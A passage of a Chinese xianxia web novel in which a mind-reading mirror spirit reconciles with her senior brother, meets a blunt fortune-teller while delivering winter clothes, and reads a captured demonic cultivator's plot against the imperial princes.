师父觉得从三徒弟这好下手,拉着她说:“你们两个有什么事不能和师父说呢?” 三徒弟道:“我是什么事都能说的。” 这意思是明易有事不和她说。 慕雲又问:“大师兄是比你们几个多思虑一些,映心再过几年就明白了。” 三徒弟道:“他思虑多也和我无关。” 这意思是二人的矛盾比较有针对性,可能只和她个人有关。 慕雲再问:“你也知道他就是这副德行,平日比较端着,不和你二师兄小师妹似的和你打打闹闹,但心中是很关怀你们的。” 三徒弟道:“知人知面不知心,谁知道呢。” 这意思是和她照不到明易有关。 第75章 但这问题存在已久,二人都应该习以为常的,怎么会突然爆发呢?慕雲便想到在合欢宗黑镜坏了的事,也就是说那时候映心是有机会照明易的,但后来映心却说自己不知道,再结合她前段时间总是说自己脑子抽抽的,好像忘了什么…… 聪明如慕雲,了解徒弟莫若师父,她很快便有了头绪:“为师明白了,是不是大师兄黑镜坏掉的时候你照了他,得知了他的小秘密,但他却用元婴入你的灵识,篡改了你的记忆?” 石映心:!? “师父,你怎么知道?” 瞧见徒儿惊讶的神色,慕雲得意一笑:“你俩在我眼里都是半大的孩子,还是我从小拉扯大的,平日待在山上不入世,心思单纯(好骗),高兴的事情不高兴的事情总共也就这些原因,为师怎么会不知道呢?你就是气好不容易照到了明易,但又被他糊弄,对不对?” 师父真厉害,石映心佩服地说:“师父,全都被你说中了。” 于是拉着她说:“那你帮我想想办法吧,大师兄死活不告诉我,我有没有办法恢复那段记忆?” “映心。”慕雲却是叹了口气,拍拍她的手,语重心长道,“每个人都有自己不为人知的小心思,大师兄有,师父有,你肯定也有对不对?既然大师兄不想你知晓,为何你还要勉强他呢?这样不好,不好。” “师父,映心明白的。”石映心也认真地说,“你从小就这么教导我,我已经改了爱照人的毛病了,只偶尔很好奇才照一回。但大师兄……从小就不让我照,我是好不容易才逮着的机会……” 慕雲倒是理解:“欸,师父明白,只不过……” “而且,”石映心紧接着道,“当时只有我和大师兄二人,我们坐在沙滩上看烟火,大师兄莫名骂我笨,我问他为何,他却看烟火不说话了。那我想照照他知道为什么这不是很应当吗?难道他不想我知道的心思藏在觉得我笨的原因里?” 慕雲一愣:“嗯?是这样的情景吗?” “对啊对啊。”石映心越说越有些来气,“前几日我去问他,他说不让我知道是怕影响我们师兄妹情谊……” 慕雲二愣:“哦?他竟是这么说的?” “可不是吗?”石映心哇哇道,“更可恶的是,我说难道你是对我有杀心才故意隐瞒我,他居然不解释,还让我不要闹了。师父你知道的,大师兄最不会说谎,他分明是欲盖弥彰!” 慕雲三愣:“啊?你是这么想的?” 石映心握拳往桌上一捶,震得茶盏发颤:“大师兄根本就是讨厌我!” “……” “指不定是我照了他之后对他出手了!所以反过来——是他想对我出手!” “……” “怪不得日日说我笨,还不让我进他屋里玩,但凡我做点坏事就板着张脸训我!” “……”等等,这不是应该的? 石映心恶狠狠道:“无所谓,反正我也要讨厌他!” “……” 慕雲看到了一个天大的误会,但她一时也捉摸不清大徒弟到底在想什么,只得先把石映心安抚下来,说了一些明易的好话,虽然见她气上心头也没听进去多少的样子……总而言之,先把人打发走了。 只好又叫明易过来。 开门见山道:“为师大概也猜到你们二人的情况了,并不是映心告你的状,不过后来她也和我说了些详细的……” 慕雲盯着神色平静的大徒弟:“所以你对映心有什么不可告人的心思啊?” 明易:…… 平静的脸上还是出现了一丝波澜:“总之不是她说的那样。更多的……师父您还是不要多问了。” “明易。”慕雲继续语重心长,“为师知道,一开始我收映心做徒弟的时候,你心中对她有些不满,但依旧担起了大师兄的职责;这些年来,你对三个师妹师弟的用心我也看在眼里,自然明白是映心误会了,你怎么可能讨厌她呢?” 明易沉默的视线对着前方的地面,静了片刻后还是点了点头。 “为师不多问你,不过你还是得和映心好好解释,她觉得你讨厌她,面上瞧着生气,其实心里可伤心了。都是一个山头的师兄妹,抬头不见低头见的,你也不想一直这样下去吧?” 明易颔首。 “这事你们二人都有错处,不过还是委屈你一下,先去和映心示弱;她的性子你也知道,别人待她如何她就如何,你同她硬着来,她就和你硬碰硬。好好和她说,她不会不懂事。” 明易迟疑了一下,还是把头点了点。 师父的提议也是他想的,可为何迟迟不付诸行动呢,还不是因为没找到能应付她的借口吗……唉。 他这几日也无心在戒律堂办事,但又习惯用繁杂的公事来麻痹自己,等忙碌了一天之后躺在床上,却偏偏睡不着,真是折磨得很,只好又起来修炼。好在修仙不需吃饭不需睡眠,除了脑子累一些,身体倒是无恙。 从师父的云雨峰回来,明易在洞府里坐着,出神地把玩着手上的玄猫木雕,脑海里浮现出那晚在她院子里见到的一堆石头。 她一定……不是怀着多少心思做的,但偏偏又那么认真。 想不明白她,更想不明白自己,为什么会喜欢映心?又是从何时开始的?怎么就以这么一种荒唐的方式叫他如遭雷劈、当头棒喝了? 他分明……对她没有任何肮脏心思(自以为),只想作为师兄好好照顾她,给她收拾一些烂摊子,一边陪着她和师父师弟师妹,一边为归壹派效力……这些想法,其实对梦真和换月也是差不多的,可是怎么会…… 这和他的预想不同,他不想改变这些稳固的关系,爱情一事却最是扑朔迷离,更别提石映心这个情况……她懂什么呢?若她知道了,她会怎么看待他? “大师兄,没想到你嘴上说得好听,什么谈情说爱最是耽误修行,要六根清净摒弃杂念巴拉巴拉,结果心里却对我有这些肮脏心思,怪不得你总不让我照,真是知人知面不知心,我看错你了!” 明易:…… 太冤枉了,他也不知道他想亲她;他只是看着她的眼睛有些走神,神识之外怎么会想这样可怕的事呢? 也许他真的是一个表里不一、口是心非、衣冠禽兽、人面兽心……的伪君子。他躲避映心的探究,甚至也躲避自己了解自己,他……竟然这么胆小吗? 明易抓着木雕的手紧了紧。 但不管如何,他都不能再懦弱下去,他不能做一个知错不改的糊涂蛋,不能再自欺欺人地逃避自己的情感,更不能因此伤害到映心…… 他不能这样。 这一边的大师兄在“认识自己”,另一边的石映心情况也不大妙。躺在床上翻来覆去地睡不着。捧起边上的夜明珠玩了玩,一个走神砸到额头上,好在她额头坚硬能抗住,要是砸鼻子上就完蛋喽。 唉…… 唉…… 唉…… 揉揉发疼的脑壳,她心中苦恼,毕竟从来没和换月二师兄闹过这样的别扭,这下气话也说尽了,等消停下来一回想,就有些隐约的愧疚和委屈。 想想师父说的也不无道理……大师兄一向待她很好的,怎么可能会讨厌她呢?她当时这么说其实有些故意成分在,大概只是想激将一下大师兄,让他解释解释,可没想到大师兄避而不谈,让她也怀疑起来。 她是习惯了师妹和二师兄的毫无保留……虽然他们也没什么秘密;大师兄和她们是不同的,只是这么一对比,心中就有些落差。其实于情于理,她也不该这么霸道,要求大师兄和换月她们一样。 每个人都是不同的。 最不同的是她自己。也许真的是她摆脱不了镜灵的特质,总是好奇地想去窥探什么,哪怕她并无恶意,但在他人看来也很冒犯……小师妹二师兄不在意,不代表其他人也没关系。 唉! 石映心从床上坐起来,自觉这次做错了事,还是去和大师兄道歉吧。 就在此时,她听见院中有铃声传来,心中莫名激动,一跃身从床上跳下来往屋外跑去。到了院中,果然见一熟悉的身影站在石桌边,可不就是她大师兄吗? 石映心并不觉得尴尬和不自在,在她的认识里仿佛没有“丢面”这概念,往往只是自己想不开,若她想开了,就毫无顾忌地去做。比如这会就跳到她大师兄面前,因为“想大师兄,大师兄就到”的事感到欣喜。 “大师兄你怎么来了,我正想去找你。” 但明易是个正常人,虽说明白师妹“不正常”,但他鼓起勇气过来,见她这么熟络的态度,心下松了口气又撇过视线,不自在道:“你……你找我做什么……” “我想明白了。”石映心认真地说,“这事先错在我,我不该乱照你的,明明知道你不喜欢这样,我还知错犯错,惹你生气……大师兄,是我对不起你。” 她竟然先道歉了。明易有些受宠若惊,本是心沉沉地过来,这下变成心酸酸的了,一时有很多动容和委屈,鼻尖一酸就说不出话,也不敢看她。 “大师兄?”石映心见他侧着脸没反应,扒拉了他一下,“你还生气吗?你不原谅我吗?” 明易深呼吸压下情绪,尽量平静地说:“我从来没有生气,也没有怪你。” 石映心摇摇头:“你可以生气,也可以怪我,做错事就要承担后果,你怎么骂我都行。” “我不骂你。”明易微微摇头,“我来也是想和你说清楚,先前让你误会我讨厌你……是我不好。” “我其实也知道师兄你不讨厌我,”石映心看着师兄,语气略心虚,“我只是想诈你一下,让你说实话……而且除此之外,我实在想不到你有什么事不能和我说的。” 明易:“我……” “但我现在不想了!”石映心赶紧补充说,“我以后再也不会照你了,每个人都有自己的秘密,其实我只要知道,大师兄还是我的大师兄,还是会一直陪着我,陪着师父和换月她们……这样就够了。” 听她这般将心比心的话,明易心中感动又苦涩,映心都在反思和进步,他作为她信任的大师兄,更不能继续自欺欺人。 于是变出一个巴掌大的镜子来,向她一递,软声道:“我也想明白了,日后要对你坦诚相待。所以如果你要照……那就照吧。” 眼中钉黑镜就在眼前,石映心的眼睛都瞪大了一些,但她很快转过脑袋,把明易的手推了回去:“不,我说到做到。” 明易又递过去:“我说的也都是真心话。” 推回去:“不行,我不会照你的!” 递过去:“没事,映心。” 推回去:“大师兄,你不要勉强我!” 递过去:“我知道你想。” “我不想!” “你想。” “我不想!” “你想。” “我不想!” …… 最后整得两人都有些精疲力竭,石映心最后一下把黑镜推回去,竖起三根手指头道:“我石映心发誓,如果之后再照……” “别说傻话!”明易连忙把她的手摁下来,无奈道,“好,不照就不照。那黑镜就先放我这。” 石映心松了口气:“嗯。” 又问:“大师兄,那我们这算和好了?” 这说法有些幼稚,明易想,笑着点了点头。 石映心也笑了,只不过是看着他的笑在笑,看了会后说:“大师兄,那晚你也是这样看着我笑,你笑得这么好看,怎么可能是坏念头呢?我就知道你是对我好的。” 那晚也是…… 明易呼吸一窒,紧忙移开视线,不自然地把嘴角收了回来:“好了,既然误会都解释清楚了,你快回屋里休息吧。” “哦,大师兄你也是。” “嗯。” 今夜月色大明,照得御剑而过的人无所遁形。可惜只是形罢了,如何才能照透人心呢? 这是一个对镜灵来说都很难的问题。 第76章 十月一,送寒衣。 这一日,归壹派的弟子们要下山去,给民间的贫困人家送她们亲手做的棉衣棉裤棉鞋等。做这些寒衣是每个弟子在课上要学的功课和手艺,石映心还记得当时教导她们的尚琳师叔说: “我等能修仙,乃是天赐的机缘;有人说修仙是逆天而行,我是不赞同此观点的。修仙者吸收天地灵气转化为自身灵力,天地灵气从何而来?自是来源于普天之下的生灵。一人一兽是,一花一木亦是。善待凡人,善待万物,我等责无旁贷,身为归壹派的弟子则更应如此。” 她们做棉衣不得用法力,需亲力亲为,无灵力添加;做的时候边上会有弟子念大道理书,一边听一边沉浸式做衣服,这也是静心修炼的一种方式。 石映心的手艺很烂,不过年年月月都要上这个课,再笨的人也能熟能生巧;每年十月一时,万事堂的帮事弟子们就会将前几个月弟子们做的棉衣都筛查一遍,把能用的都带下山去。 前两年石映心只被选上了两对足衣(袜子),没用上的寒衣她就拆了,留着棉线下次再重复利用,这还是二师兄教她的;之后的手艺好了许多,渐渐的能被勉强收用。 只是有一日她做棉衣走得晚了,被尚琳师叔交代去万事堂送棉衣,于是就过去了。送好东西正要走,正巧看见一个帮事弟子拎起她的棉背心说:“哎呀,这件没穿两日就要破了,未免被凡人说我们门派送破烂给他们,还是退回去吧。” 石映心:OO 边上另一个帮事弟子却说:“没事,留着吧,先前我去的那村里有不少野猫野狗,有些还大着肚子很可怜呢。到时候合着稻草一起垫它们窝里,好歹是救下几条狗命猫命。” “嚯,这些猫狗倒是因祸得福了,哈哈哈……” 石映心:OO 她倒没什么想法,救谁的命不是命呢,心里也没点失落,挠挠脸就走了。 话说回来,又到了今年的寒衣节。因为前几月下了两次山,回来又要休憩偷懒,这师兄妹三人的寒衣任务还没完成,不完成是要被罚灵石和通报批评的,所以这几天都在抱佛脚赶衣服。 还去央求大师兄和师父帮忙,实在是厚脸皮得很。 缝缝补补几天,终于完工了,交上去后大伙心里都舒畅许多。小师妹说天气冷了,可以开始吃火锅了。于是一连吃了好几天火锅,吃得她师父脸上都冒痘了,这才打住。 不止是慕雲火气旺盛,其他几人也有上火的症状,石映心是脸上长痘嘴里长泡,喉咙胀痛,吞咽都有些难受,瞧着症状最严重。 小师妹心疼地炼了几颗去火的丹药给她,她还真敢吃,吃了就拉肚子了。最后还是去药膳堂买了药才好。 “师姐怎么回事呢?”这日师兄妹一起吃饭,曾换月对看着一盘子清汤白菜的愁眉苦脸石映心疑惑道,“最近很容易上火啊。” 石映心可怜巴巴吃白菜:“不知道。” 顾梦真这时说:“我们几人之间最易上火的就是映心,最不易上火的是大师兄,我好似从没见过他长泡长痘。” 明易闻言抬起眼看了看石映心鼻子上的那颗痘,抿着笑点了点头。 曾换月啧啧啧:“好奇怪啊,个人体质问题吧。” 体质?石映心看筷子下的清蒸鲈鱼,忽然想起泉芷,便说:“嗯,可能是因为大师兄体质偏寒,我体质偏热。” 明易微一挑眉:“这是怎么来的结论?” 石映心有理有据地解释:“大师兄你用的是寒竹剑,剑气冻人;我能和泉芷平衡阴阳,鲛人族体质阴盛阳衰,那我便是阳盛了。” 明易听到这笑了一下:“哦?你怎么和泉芷平衡阴阳?” “双……”石映心一顿,低头说,“这道菜原来加了蒜,味道不错。” 明易:呵。 他当时就心知肚明某人的秉性,因此并不多意外。好在合欢宗的双修之法正规,仅此一次也无碍。不过她说的这些体寒体热,似乎也有些道理。 “好有道理啊。”曾换月动了动小脑袋瓜思索,“那照这么说,是不是师姐和大师兄双修、把火气传给师兄的话是不是就不会上火了?” 明易:。 顾 梦真“欸”了一声:“理论上可行!” 明易:…… 石映心叹气:“唉,喉咙好难受。” 明易:…… “这里是归壹派,不是合欢宗。”明易放下筷子,“还不快吃完饭,随我下山送寒衣,再慢些要天黑了。” “好吧。” “哦。” 原先万事堂送寒衣的帮事弟子下山做任务去了,这事几经辗转到了明易手上,被他的师妹师弟得知后就吵吵着要去。反正是个简单的小任务,明易也就同意了。 吃完饭就下山去,这次他们要去的琼州边上的一个小村庄,御物飞行过去也不远,两刻钟便到了。 一落地瞧见面前的村庄,顾梦真一时迈不进去脚,苦着脸说:“不知为啥现在看到这些小村子我都有些不敢进去。” 曾换月哈哈嘲笑他:“海螺村后遗症!” 明易瞥他一眼:“快进去送了衣物,早去早回。” 大家说好。 进了村却有些奇怪,怎么走了一会没见到人影呢?按理来说今日是寒衣节,村民们都会等候归壹派来人呀?明易放开耳识听了听道:“村民们似乎都聚集在了一处。” 既然如此就走过去瞧瞧,等走到村尾的村庙处,就见一大堆村民在那里排队干嘛,排完队的也不离开,挤在边上凑热闹。这天气冷飕飕的,这堆人气却是热火朝天。 几人疑惑地揪了一个面善的大娘问发生了什么事。 大娘看到他们很欣喜:“啊呀,你们就是归壹派的仙人吧?来送寒衣的是不是?” 她们说是。 大娘歉疚又热情道:“实在对不住了各位仙人,昨日我们村里啊来了个贵客,说是能卜算天机呢,老准了!现在大伙都在排队算命嘞。怕是要耽误几位的时间了,不如你们先把寒衣放去村长那,待会由村长分给村民。” 先前是这样办的,但后来出现过村长贪污的情况,所以万事堂规定要亲手送到每个村民手中。 明易礼貌微笑道:“没事,我们去这位贵客边上候着,等村民们算完命再来我们这领衣服正好。” 大娘竖大拇指:“好主意好主意!” 她们自然要去看看这个贵客是什么成分,顺着队伍走上去,在村民叽叽喳喳的议论声中,已经能听到贵客的说话声: “这位大哥,一人一问,你想问什么?” 这位大哥沉思了一下道:“俺儿女双全,妻顺母慈,吃喝不愁,要问的问题多是小事,随意一问的话有些可惜……” 贵客道:“既然你今生圆满,不如问问后世?” “这也能问?好,那大师您看看俺下辈子是不是荣华富贵、家财万贯?” 贵客摇了摇手中的龟壳,就听丁零当啷的在桌上落了几枚铜板,他只瞅了一眼就摇摇头道:“你此生无所成,下辈子何来泼天富贵?不过你下辈子依旧儿女双全,妻顺母慈,吃喝不愁。” 男人“啊?”了一声,似乎有些失落:“这不是和我今生一样吗?” “非也。”贵客笑道,“这辈子你是你,下辈子你是你妻子的命格。既然你家庭幸福美满,做你家中的妻子,想来也不错?” 男人足足反应了两瞬,拍桌乍起道:“你、你胡说!你个死骗子!!” 说着撸袖子要动手,但只听一声响指,男人诡异地立直了身体,同手同脚地往边上走去,看热闹的人群自觉让道,竟然很熟练。 有村民暗戳戳地议论起来:“呵呵,谁不知道他家的妻子是外头拐骗来的?日日捆在家中不让她出去,一年一年的都变成傻子了,能不顺吗?” “是啊是啊,他在外头还说得好听嘞,什么好心收养失忆少女,自己做的是大好事!呸,再聪明的姑娘被他那样打骂虐待,脑子没问题才怪了。” “你看他方才要吓死了哈哈哈” “但大师说的是真的吗……” …… 几人瞧见贵客真容的时候,一个头发花白的大爷正慢吞吞地在他面前落座。这是一个有些江湖骗子气质的男人,和凡间街上任意一位算命师傅没有什么不同。约三四十岁,身穿灰白长袍,容貌普通,最起眼的是遮住下半张脸只露出一张嘴巴的厚长胡子,时不时还手往上面顺一顺。 瞅见几人的时候,他笑眯眯了一下,主动打招呼道:“几位道友有缘相见那,不过客人已经入座,有事还请等我帮他算完这一卦再说?” 明易瞅他机灵的眼睛,忽然变了一个大袋子出来抱在怀里,客气道:“不必在意,我们只是来分寒衣的,借你边上空位一用,不碍你事吧?” 大师笑呵呵顺胡子:“不碍事、不碍事。” 于是几人就在他边上发寒衣,竖着耳朵注意他的动静。 “大爷,你有什么想问的?” “徐大师啊,我一个快死的人,自身别无他求,就想问一问我家小儿何时能成才啊?我等得及不?” 一阵叮铃啷当之后,大师道:“大爷,您这一生碌碌无为,在个人功业上好吃懒做、靠老母亲养活,对你孩子起不了表率作用;在教育子女上更是一塌糊涂、动辄打骂,就是好好说话也尽说些迂腐污秽;再加上你夫妇二人天资一般……” 看着大爷越听越懵逼的脸色,大师叹了口气无奈道:“唉,您何必问我如何用粪炼金的问题呢?下辈子再谈吧!” 大爷:…… 他似乎挥了下手,瞪大的浑浊眼珠子有想打人的意思,不过他实在是老得没力气动手,只能留着余力坚强地撑着拐杖站起来,往地上砸了两下拐杖冷哼一声,白了徐大师一眼就噔噔噔地走了…… 哦,临走前也没忘记去领了几件寒衣。 第77章 曾换月看着大爷冒火的背影偷笑起来,悄悄和师姐说:“这个徐大师成分不详,嘴巴倒是挺毒的哈。” 石映心好奇道:“他说的都是真的吗?” 曾换月啧啧啧道:“看那个大叔和这个大爷气得要揍人的模样,包是真的。师姐,人被说中了坏心思就是会生气的,这叫破防!” 石映心:“原来是这样。” 后来她们又见了许多村民破防的模样,当然也有心满意足离开的、面露思索犹豫徘徊的。期间石映心偷偷地照过一位村民,感到他心中忐忑的激动,侥幸的期待,还有很多朦胧不清的、像是把剩菜剩饭倒在一起。 五味杂陈是什么意思,石映心没吃过这样的东西,照倒是照过不少,真就是一会酸一会甜,一会苦一会咸一会辣,尤其是这些凡人的心思最为浑浊。 大师兄常说修仙者要心无杂念,其实她有些感触,比如照她师兄师妹的时候,吃到的情绪相比较而言是简单澄净许多的:顶多是过酸的柑橘,太苦的莲子,甜腻的西瓜。 凡人……就像七情六欲的泔水桶。 石映心有时候这么想。 等泔水桶们一一问过大师,各怀心思地抱着寒衣离开后,天色已是黄昏。因为他的进度耽误了她们的进度,所以双方的氛围有些隐约的警惕和芥蒂。还是这个徐大师先开口道: “不愧是归壹派的弟子,十月一还特来民间送寒衣那,真是心怀天下的名门正派,徐某佩服佩服。” 大概是因为这人一副江湖骗子的装扮,说起话来脸上笑眯眯的显得有些油滑,几人都觉得他的话听起来有几分阴阳怪气。 明易客气道:“不过是顺手而为的小事罢了,不至于牵连我派的名声。方才见徐道友龟卜铜钱卦,将村民们前程后世一一说来,功法造诣不浅,不知道友师承何处名门?” “嗐,”这人摆摆手道,“我哪有多少造诣,不过确实来自名门。在下天机阁徐舟,这几年一直在游历八大洲,每到一处便帮当地民众卜卦来换些民风淳朴,不至于叫我风餐露宿啊。” “民风淳朴?”石映心回想了一下方才有多少村民对他举手挥拳、口吐恶言:“你指的是招打招骂?” 徐舟哈哈一笑:“良药苦口,实话总是不好听的。我身为修行之人,只求自己良心过得去。” “嘿。”顾梦真拍拍他肩膀,“你还挺正直的嘛。” 是吗?石映心又问:“难道你帮人卜卦时,真的一句谎话也不说?” “这……那倒也不是。”徐舟诚恳眨眼睛,“撒点小谎这种程度,我的良心都挺好过去的。” 其他几个:OO? 石映心若有所思:“你这么说是有些道理,原来这句话并不是要做好事的意思。” 徐舟:“噢!这位道友,你已然发现了良心的真谛。” 其他几个:…… “对了,徐道友,”明易谨慎地礼貌道,“这段日子常有散修邪修冒充正派弟子混入人间,鬼鬼祟祟,居心不良。恕我冒昧,还请你出示天机阁令牌证明身份。” “理解,理解。”徐舟好说话地变出令牌来,不过只是拿在手上递给明易看了看,“我也怕你抢我令牌,就这么瞅两眼吧。” 明易虽有些无语,不过已经认出这确实是天机阁的令牌,没被他手指遮住的地方显出一个“舟”字,令牌上的气息与此人也很相同,便算是证明了身份。 几人又瞎聊了几句,算是简单认识了。这时连天边的黄昏都要散去,村里传来各样的佳肴芳香,徐舟捂住肚子道:“哎呀,今晚去哪户人家用膳好呢?不要太素了……” 师兄妹四人对视一眼,石映心说我们回去吧,于是他们在短暂相遇后就此分别。日后会不会再见,这都是不必在意的事。 * 归壹派的日子一如往常。 就是石映心最近有些动静,本应该努力练习元婴期法术以及剑法以及她师父的呼风唤雨大招的她,忽然停住了修炼进度,转而开始探究她的照人术。 这当然不是无缘无故的,事情还要从前段时间说起。 归壹派弟子入元婴之后,便能入戒律堂或是万事堂等各处务工当帮事弟子。要是弟子不愿意自然也不勉强,但石映心这不是有一个勤劳优秀的大师兄吗,又赶巧她陈久师叔也在里头当管事。 再加上她时不时地就要去戒律堂受罚挨个板子清扫卫生什么的,对戒律堂倒是很熟悉。当然戒律堂对她也很熟悉,比如她这日过来,前台的师兄就笑着打招呼:“欸,映心,今日过来挨板子还是罚扫地啊?近日天气愈发严寒,后院的树掉了满地枯叶呢。” 差点没说“你来得正好”了。 石映心也没因为他不加掩饰的不怀好意而生气,摇摇头说:“今日不是来受罚的,陈久师叔找我。” “是哦?那你快些进去吧,里头路你也熟。” 熟是熟的,就是说起来不太光彩。 熟门熟路地找到陈久师叔的办事房,大师兄也在里头。见到她来,二人并不是往常看见她来受罚时的无奈笑容,似乎有些隐约不安的期待。 “师叔,大师兄,你们找我什么事?” “其实也不是大事。”陈久委婉道,“不过确实麻烦你,而且此时关乎戒律堂机密,你可不能说出去,你得和师叔保证。” “我是镜灵,又不是大喇叭灵。”却不做保证。 “你这孩子,还和师叔贫嘴。”陈久“嘿”了一声,笑道,“找的就是你这面镜子。前两日我们牢里来了一个犯事的邪修,喝了真话水也没有效果,我和你大师兄也是没招了,总不能严刑拷打是吧?这不符合我们的正派身份,只好找你来一试。” 石映心有些诧异:“真话水都没用吗?我们门派的真话水不是很厉害的吗?” “谁知道这些邪修搞的什么玩意!”陈久粗眉一皱,很不满地嘟囔道,“所以我说这群人最恶心了!歪门邪道令人不齿!” “师叔别生气,”石映心便起了些兴趣,“让我照照吧。” 陈久略狰狞的面容一松,露出一个勉强算是和蔼的笑来:“还是映心厉害,跟师叔来。” 石映心和大师兄便跟在陈久身后走,明易低声提醒她:“等会叫你照的时候你再照,切不能恣意妄为。” “好。” 明易早就习惯她轻飘飘的答应了,完全不能信的,定要把这些利害同她说完:“这些邪修练的都是歪门邪道,许多都是走火入魔后由心魔驱使着胡作非为。你知道心魔多可怖?” “知道的大师兄。” “我们正道修炼,修的是天地灵气精华,纯净正派;若与这些邪气在体内相撞,后果不堪设想!更不说那些阴邪功法,更是不能染指一分……” “嗯嗯!” “还有心魔,这可不是寻常你在秘境中遇见的妖魔鬼怪,几剑斩下就好;也不只是阻扰修炼这般简单,还会让你走火入魔,让你变得不像你自己……” “……哦。” 大师兄好烦哦。 而且不知道是不是她的错觉,总觉得自从和大师兄重归于好之后,他好像更唠叨、更爱管她了一些?大到监督修炼,小到吃火锅上火……就连师父都对她表示了几分同情。 虽说大部分时候她都是当耳旁风吧,但…… 这段时间的风也太大些了,简直是飓风,还没完没了,把她脑子里的东西都卷成了浆糊。 “映心,映心?” “……啊?” 明易微蹙着眉头盯她:“我同你说的你都听进去了?” 石映心连连点头,这下浆糊也摇匀了。 明易瞅她一脸走神的认真,无奈摇了摇头。 进了牢房,就见一个红头发的男人呈“大”字被五花大绑地困在墙上,原本垂着脑袋睡觉的他一听见动静就抬起头来,满是红血丝的眼睛瞪着进屋的人,张嘴就是嚷嚷:“一群正道伪君子,老子是一个字都不会说的,有种你们就杀了我!” 陈久:“得了吧你,装什么誓死不从,有本事你自尽!” 红头发:…… 这时石映心打量完他,又看了看边上干干净净的牢房,有些失望道:“我还以为这些犯人在牢房里会遭到非人的对待,像话本中写的每日都是饥不择食、夜不能寐,受重刑直到筋脉俱损半死不活……怎么他挂在墙上还能睡得着呢?” 红头发:………… “你这个歹毒的女人!!”他怒火冲冲地大吼道,“竟然想对我施以极刑!你、你蛇蝎心唔唔唔唔唔!?” 明易瞥他一眼:“废话就不必多说了。” 陈久和师侄解释道:“你说的那些是凡间为了让罪犯招供的手段,我们有仙法灵药辅佐,不必对未定罪的犯人如此;等定了罪后,自会有相应的雷霆手段惩罚,不过就是你说的极刑也得给他们留下一口气,主要是以拘禁和改造教导为主,让他们深刻悔过、重新做人……” 说到这补充了一下:“虽然有些是下辈子的重新做人,在我们这服完刑直接送去幽都了。” 无故施刑也是罪,归壹派虽说所为都是为了惩恶扬善,但也不想因此犯下无故罪孽。这其实也是自保的手段。 例如真话水,也是门派中各位长老付出了惨痛的代价才炼制出来的,比如不为人知的小癖好被发现然后丢尽了脸面啊……之类的。 暂且不提。 “我明白了,师叔。”石映心点点头,心说她们门派的牢房还是很善良公正的,“所以这个邪修迟迟不认罪,也是仗着我们不会动刑?” 陈久咬牙切齿地笑了一下:“是啊是啊,真以为我们拿他没办法呢,呵呵。” 也就是差点了。 第7 7章“哈哈哈哈!”红头发听…… “哈哈哈哈!”红头发听此嘚瑟地大笑起来,“你们的真话水对我没用,还能有什么办法?哈哈哈哈!怕是等拘禁时日过了也定不了我的罪,到时我就能继续逍遥法外了哈哈哈哈!” “急什么。”陈久斜眼乜他,“这就叫你见识一下名门正派的厉害。” 对着映心下巴朝陈久一抬:“映心,之后我们会消除他的记忆,你放心来。” 红头发一愣,看向石映心:“来什么?你们难道想让这个恶毒的女人对我使些见不得人的手段?!” 石映心:“嗯。” 不知道回答谁的。 红头发登时有些激动:“喂,我警告你们别乱来啊,要不然等我出了归壹派,我就大肆张扬归壹派动用私刑……” 明易打断他的话:“你究竟为何擅闯仙门驿站?谁人不知八大洲驿站出自正派之手,明令禁止邪修使用。你知法犯法,是不把我们看在眼里故意挑衅,还是别有所图?” 又是这个问题!红头发不厌其烦地翻了个白眼,没好气道:“省省力气吧,我是不会说的。连真话水对我都没……” “自然是为了赶去京城了,”他忽然听见自己的声音说,“听说只要杀了皇子,就能得皇室血脉之神力,修为大涨,延年益寿……” 红头发猛然抬起头,看向那个说话的女人,只见她翻着白眼,用一张陌生的脸做出他熟悉的表情:“现下姓童的已经死了三个了,剩下的那个已经得了指示,马上就要赶去天机阁,我再不去不是来不及了嘛,只可惜京城太远,我也是实在没办法羊入虎口……” “你!你怎么……”红头发震惊道,“你怎么知道我在想什么?这是你的什么功法?!” 没人回答他,只是明易在继续问:“这消息你是从何得知的?” 红头发:“他娘的我口口口口……” 石映心:“我们邪修有自己的消息渠道,你们这些正派他娘的我口口口口……不想不想不想死脑子快给我想别的啊!” 明易面色淡定:“什么消息渠道?” 红头发狂甩脑袋开始乱叫:“啊啊啊啊啊啊!!!” 石映心跟着“啊啊啊啊”了几声,红头发被五花大绑着,她可没有,不仅跟着一起甩脑袋还用双手疯狂抓头,明易和陈久吓了一跳,连忙去制止她,但她却忽然朝明易伸手,眼看着就要打——没打下来,回神了。 三人都是松了口气,虚惊一场。 到此为止也够了,明易扶师妹去外边休息,陈久留下去除红头发对师侄的记忆。 石映心顺着大师兄的手喝了口茶,擦去额上的汗,有些疲累道:“他发疯了。” 明易有些紧张地打量她的神色:“你可有受影响?” 石映心摇了摇头:“没有。” “要不回去让师父探查看看?” “我没事。”石映心说,摸了摸自己乱糟糟的头发,无奈道,“只是有一点不好,照了他之后若是要知道他心中所想,须得让‘鬼’上身,可鬼一上身我自身也变得不可控了……” 明易知道她的意思:“很危险是吗,所以不让你乱照人。像方才那样抓狂一下还是小事,因这邪修的修为已经被捆仙锁锁住……” 敏锐感觉到大师兄似乎又要开始嘚吧嘚吧,石映心急速转换话题:“说到这个……对了大师兄,那邪修说的杀皇子还有天机阁是什么意思?” 说到哪个?明易一顿,思绪打了个岔:“此事我也是略有耳闻。听说民间的人皇两个月前遭人暗杀而死,京城人心惶惶,太子临危受命,谁知登基不过半月又死了,宫里的人都是猝不及防,立刻封锁了消息,未免民不安枕。” “新皇一死,皇位又是虎视眈眈,但除了太子能名正言顺地继位之外,其他皇子各有朋党支持和反对。国不可一日无君,不知他们如何商榷,最后是推选了二皇子继位……谁知,半月后这位二皇子也死了。” 石映心:“哇。是谁这么厉害?可有查出凶手?” 明易微微摇头:“事情发生得太快了,宫里自然是要先处理先皇的后事和新皇的登基,根本来不及深入调查,紧接着又死了一人……” “又死了?” “是。二皇子死后,登基的三皇子不过半月也死了。短短两月时间,宫内已经死了四位皇帝。”明易说起正事来,脸色有些严肃,“如今……只剩下一位年轻的四皇子,目前还未继位。” 其实这事对石映心来说并不那么稀奇和震撼,毕竟她不在君临天下的天下之中,所以只是当做一件无关紧要的普通八卦在问:“只剩下一个人了啊。不过关天机阁又有什么事呢?我记得京城那处是幽冥宗庇护。” 明易解释道:“八大门派对民间的庇护不过是抵御天灾和降妖除魔,不让人间受到超出凡人承受能力的伤害;像这些朝政之事是不便干预的,自有命数。” 石映心刚了然点头,又发现疑点:“可因果牌会颁布和凡人有关的任务呀。” 